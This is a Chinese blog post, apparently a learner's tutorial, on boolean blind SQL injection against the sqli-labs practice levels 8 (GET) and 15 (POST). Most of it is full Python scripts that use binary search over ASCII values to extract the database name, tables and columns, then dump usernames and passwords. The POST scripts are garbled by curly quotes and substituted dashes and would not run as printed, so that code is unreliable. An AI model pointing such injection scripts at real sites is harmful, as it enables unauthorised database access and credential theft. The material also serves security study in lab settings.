二分法实现SQL盲注

本文详细介绍了SQL布尔盲注的概念,通过GET和POST两种类型的注入方式,展示了如何利用Python进行数据库信息探测。作者分享了从获取数据库长度、库名、表名、列名到数据爆取的全过程,并提供了逐步自动化脚本,适用于sqli-labs的实战练习。
摘要由CSDN通过智能技术生成

目录

好家伙,昨天在buu上看到一道SQL注入的题目,贼难受,然后就果断放弃去看大佬们写的wp,所以成功的花了6个小时来学习这个鬼东西,可能是自己太菜了,也可能是小甲鱼python看的太少了……小甲鱼的python的确讲的很不错,推荐想学python的去看看。

布尔盲注——GET类型

这里是自己写的代码,写的比较烂,勿喷!
话不多说,直接上代码,看不懂来找我(算了,还是别找我了……),这里都是以sqli-labs第八关为例子的。

# 导入爬虫模块
import requests
# 导入时间模块
import time


# 获取数据库的长度
def get_DBlen(url):
    for i in range(1,20):
        payload = "' and length(database())=%d -- p"%i
        html = requests.get(url + payload)
        if "You" in html.text:
            print(f"数据库长度为:{i}")
            break
    return i

# 获取数据库的库名
def get_DBname(url,DBlen):
    DBname = ""
    DBlen = DBlen + 1
    for i in range(1,DBlen):
        for j in range(33,128):
            payload = "' and (ascii(substr((select(database())),{0},1))={1}) -- p".format(i,j)
            db_url = url + payload
            html = requests.get(db_url)
            if "You" in html.text:
                DBname += chr(j)
                break
        print(DBname)
    return DBname

# 获取表的长度
def get_TBlen(url):
    # 表示数据表的数量
    TBvalue = 0
    for j in range(0,15):
        payload = "' and length((select table_name from information_schema.tables where table_schema=database() limit {0},1))>1 -- p".format(j)
        db_url = url + payload
        html = requests.get(db_url)
        # 如果有回显说明该表存在,存在的话就可以判断该表的长度
        if "You" in html.text:
            pass
        else:
            TBvalue = j
            break
    # print(TBvalue)
    for j in range(0,TBvalue):
        # print(j):0,1,2,3
        for i in range(1,20):
            payload = "' and length((select table_name from information_schema.tables where table_schema=database() limit {0},1))={1} -- p".format(j,i)
            db_url = url + payload
            html = requests.get(db_url)
            if "You" in html.text:
                print(f"数据表{j}的长度为{i}")
    return TBvalue
    
# 获取表名
def get_TBname(url,TBlen):
    TBnameAll = []
    for i in range(0,TBlen):
        TBname = ""
        for j in range(1,15):
            min = 32
            max = 128
            mid = (max + min) // 2
            while min < max:
                payload = "' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1))>{2} -- p".format(i,j,mid)
                html = requests.get(url + payload)
                if "You" in html.text:
                    min = mid + 1
                else:
                    max = mid
                mid = (max + min) // 2
            if mid <= 32 or mid >= 127:
                break
            TBname += chr(mid)
            # print(chr(mid))
        print(TBname)
        TBnameAll.append(TBname)
    return TBnameAll

# 获取列的列名
def get_Colname(url):
    for i in range(0,15):
        Colname = ""
        for j in range(1,15):
            min = 32
            max = 128
            mid = (min + max) // 2
            while min < max:
                payload = "' and ascii(substr((select column_name from information_schema.columns where table_name='referers' limit {0},1),{1},1))>{2} -- p".format(i,j,mid)
                html = requests.get(url + payload)
                if "You" in html.text:
                    min = mid + 1
                else:
                    max = mid
                mid = (max + min) // 2
            if mid <= 32 or mid >= 127:
                break
            Colname += chr(mid)
        print("数据列名为:",Colname)

# 爆数据
def get_shuju(url):
    for i in range(0,15):
        shuju = ""
        for j in range(1,20):
            min = 32
            max = 128
            mid = (min + max) // 2
            while min < max:
                payload = "' and ascii(substr((select concat(id,'~',email_id) from emails limit {0},1),{1},1))>{2} -- p".format(i,j,mid)
                html = requests.get(url + payload)
                if "You" in html.text:
                    min = mid + 1
                else:
                    max = mid
                mid = (max + min) // 2
            if mid <= 32 or mid >= 127:
                break
            shuju += chr(mid)
        print("数据为:",shuju)



if __name__ == "__main__":
    # 要进行SQL盲注的链接
    url = "http://192.168.59.150/sqli-labs/Less-8/?id=1"

    # 数据库的长度
    DBlen = get_DBlen(url)

    # 数据库的库名
    DBname = get_DBname(url,DBlen)

    # 数据表的个数
    TBlen = get_TBlen(url)
    # print(TBlen)

    # 表的表名
    # TBnameAll = get_TBname(url,TBlen)
    # 返回的是一个列表,表示所有的数据表名
    # print(TBnameAll)
    get_Colname(url)

    # 数据
    get_shuju(url)

能运行,运行结果比较多,就不截图了。唉,写的比较垃圾,大佬别喷。慢慢改进,好家伙……

下面是请教师傅,然后改的脚本,算80%的自动化吧,嗷嗷嗷……:

from operator import le
import requests
import time

host = "http://192.168.59.150/sqli-labs/Less-8/?"

def getDatabase():  #获取数据库名
    # 将host变量变为一个全局变量
    global host
    ans=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            time.sleep(0.3)
            url = host + "id=1' and (ascii(substr((select(database())),%d,1))<%d) -- p" % (i,mid)
            res = requests.get(url)
            # 如果返回的是You,那么就为真的
            if "You" in res.text: 
                high = mid
            else:
                low = mid + 1
            mid=(low + high) // 2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid-1)
        print("database is -> "+ans)
    # 返回库名
    return ans

def getTable(DBname): #获取表名
    global host
    ans= ""
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            time.sleep(0.3)
            url = host + "id=1' and (ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='{0}')),{1},1))<{2}) -- p".format(DBname,i,mid)
            res = requests.get(url)
            if "You" in res.text: 
                high = mid
            else:
                low = mid+1
            mid=(low + high) // 2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid - 1)
        print("table is -> " + ans)
    # 返回表名,此时表名为一个列表
    return ans

def getColumn(TBname): #获取列名
    global host
    ans = ''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            time.sleep(0.3)
            url = host + "id=1' and (ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='{0}')),{1},1))<{2}) -- p".format(TBname,i,mid)
            res = requests.get(url)
            if "You" in res.text: 
                high = mid
            else:
                low = mid + 1
            mid=(low + high) // 2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid - 1)
        print("column is -> " + ans)
    # 返回一个列名
    return ans

def dumpTable():#脱裤
    global host
    ans=''
    for i in range(1,1000):
        low = 32
        high = 128
        mid = (low+high)//2
        while low < high:
            time.sleep(0.3)
            url = host + "id=1' and (ascii(substr((select(group_concat(username,password))from(users)),%d,1))<%d) -- p" % (i,mid)
            res = requests.get(url)
            if "You" in res.text: 
                high = mid
            else:
                low = mid+1
            mid=(low+high)//2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid-1)
        print("dumpTable is -> "+ans)

DBname = getDatabase()
# print(DBname)
TBname = getTable(DBname)
# print(type(TBname))表示是一个字符串,用来测试
TBnames = []
TBnames.append(TBname.split(','))
# 因为输出的是一个二元数组,所以使用下面的代码来转为一维数组
TBnames = TBnames[0]
# print(TBnames)
TBlen = len(TBnames)
for i in range(0,TBlen):
    TBname = TBnames[i]
    # print(TBname)
    getColumn(TBname)
    if i == TBlen - 1:
        break
dumpTable()

布尔盲注——POST注入

直接上代码了:(这里是以sqli-labs第15关为例的)

import requests

import time

host = “http://192.168.59.150/sqli-labs/Less-15/def getDatabase():  #获取数据库名

    # 将host变量变为一个全局变量

    global host

    ans=for i in range(1,1000):

        low = 32

        high = 128

        mid = (low + high) // 2

        while low < high:

            # time.sleep(0.3)

            payload = “admin’ and (ascii(substr((select database()),{0},1))<{1}) — p”.format(i,mid)

            # print(payload)# 测试

            data = {“uname”:payload,”passwd”:”admin”,”submit”:”Submit”}

            html = requests.post(host,data)

            # 如果返回的是有数据,那么就为真的

            if “flag.jpg” in html.text:

                high = mid

            else:

                low = mid + 1

            mid = (low + high) // 2

        if mid <= 32 or mid >= 127:

            break

        ans += chr(mid – 1)

        print(“database is ->+ ans)

    # 返回库名

    return ans

def getTable(): #获取表名

    global host

    ans= “”

    for i in range(1,1000):

        low = 32

        high = 128

        mid = (low + high) // 2

        while low < high:

            # time.sleep(0.3)

            payload = “admin’ and (ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{0},1))<{1}) — p”.format(i,mid)

            data = {“uname”:payload,”passwd”:”admin”,”submit”:”Submit”}

            html = requests.post(host,data)

            # 如果返回的是有数据,那么就为真的

            if “flag.jpg” in html.text:

                high = mid

            else:

                low = mid+1

            mid=(low + high) // 2

        if mid <= 32 or mid >= 127:

            break

        ans += chr(mid – 1)

        print(“table is ->+ ans)

    # 返回表名,此时表名为一个列表

    return ans

def getColumn(TBname): #获取列名

    global host

    ans =for i in range(1,1000):

        low = 32

        high = 128

        mid = (low + high) // 2

        while low < high:

            time.sleep(0.3)

            payload = “admin’ and (ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='{0})),{1},1))<{2}) — p”.format(TBname,i,mid)

            data = {“uname”:payload,”passwd”:”admin”,”submit”:”Submit”}

            html = requests.post(host,data)

            # 如果返回的是有数据,那么就为真的

            if “flag.jpg” in html.text:

                high = mid

            else:

                low = mid + 1

            mid=(low + high) // 2

        if mid <= 32 or mid >= 127:

            break

        ans += chr(mid – 1)

        print(“column is ->+ ans)

    # 返回一个列名

    return ans

def dumpTable():#脱裤

    global host

    ans=for i in range(1,1000):

        low = 32

        high = 128

        mid = (low+high)//2

        while low < high:

            time.sleep(0.3)

            payload = “admin’ and (ascii(substr((select(group_concat(username,password))from(users)),%d,1))<%d) — p” % (i,mid)

            data = {“uname”:payload,”passwd”:”admin”,”submit”:”Submit”}

            html = requests.post(host,data)

            # 如果返回的是有数据,那么就为真的

            if “flag.jpg” in html.text:

                high = mid

            else:

                low = mid+1

            mid=(low+high)//2

        if mid <= 32 or mid >= 127:

            break

        ans += chr(mid-1)

        print(“dumpTable is ->+ans)

if __name__ == “__main__”:

    # getDatabase()

    TBname = getTable()

    # print(type(TBname))表示是一个字符串,用来测试

    TBnames = []

    TBnames.append(TBname.split(,))

    # 因为输出的是一个二元数组,所以使用下面的代码来转为一维数组

    TBnames = TBnames[0]

    # print(TBnames)

    TBlen = len(TBnames)

    for i in range(0,TBlen):

        TBname = TBnames[i]

        # print(TBname)

        getColumn(TBname)

        if i == TBlen – 1:

            break

    dumpTable()

如果有哪里写的不好的地方,还请各位师傅指教!感谢

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小菜猴子_x

你的鼓励将是我创造的最大动力!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值